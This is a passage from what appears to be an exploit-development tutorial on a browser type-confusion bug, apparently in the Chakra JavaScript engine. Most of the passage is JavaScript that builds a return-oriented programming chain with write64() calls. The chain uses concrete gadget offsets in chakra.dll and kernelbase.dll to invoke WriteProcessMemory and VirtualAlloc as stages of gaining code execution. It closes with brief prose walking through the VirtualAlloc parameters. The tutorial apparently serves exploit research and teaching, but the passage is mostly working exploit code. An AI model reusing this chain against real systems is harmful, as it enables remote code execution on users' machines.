<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetTwo</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtualAlloc() ROP chain</span>
<span class="c1">// Stage 7 -&gt; Allocate some local memory to store the CONTEXT structure from GetThreadContext</span>

<span class="c1">// DWORD flProtect (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// PAGE_READWRITE (0x4)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (let VirtualAlloc() decide the address)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x000004d0</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// (0x4d0 bytes)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT (0x3000)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!VirtualAlloc</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x5ac10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAlloc address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>This call is pretty straight forward, and since there are only four parameters we don’t have to write any parameters to the stack.</p>

<p>We start out with the <code class="language-plaintext highlighter-rouge">flProtect</code> parameter (again we have to make sure RAX is writable because of a gadget when performs <code class="language-plaintext highlighter-rouge">cmp r8d, [rax]</code>). We can set a breakpoint on <code class="language-plaintext highlighter-rouge">jmp rax</code>, as we have seen, to reach our first gadget within the <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> ROP chain.</p>

<p><img src="/images/3typeconfusion149.png" alt="" /></p>

<p>The first parameter we are going to start with <code class="language-plaintext highlighter-rouge">flProtect</code> parameter, which we will set to <code class="language-plaintext highlighter-rouge">4</code>, or <code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code>.</p>

<p><img src="/images/3typeconfusion150.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> is now in this state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="n">PAGE_READWRITE</span>			<span class="c1">// Make sure the page is writable so GetThreadContext can write to it</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next parameter we will address is <code class="language-plaintext highlighter-rouge">lpAddress</code> - which we will set to <code class="language-plaintext highlighter-rouge">NULL</code>.</p>

<p><img src="/images/3typeconfusion151.png" alt="" /></p>

<p>This brings our call to the following state:</p>

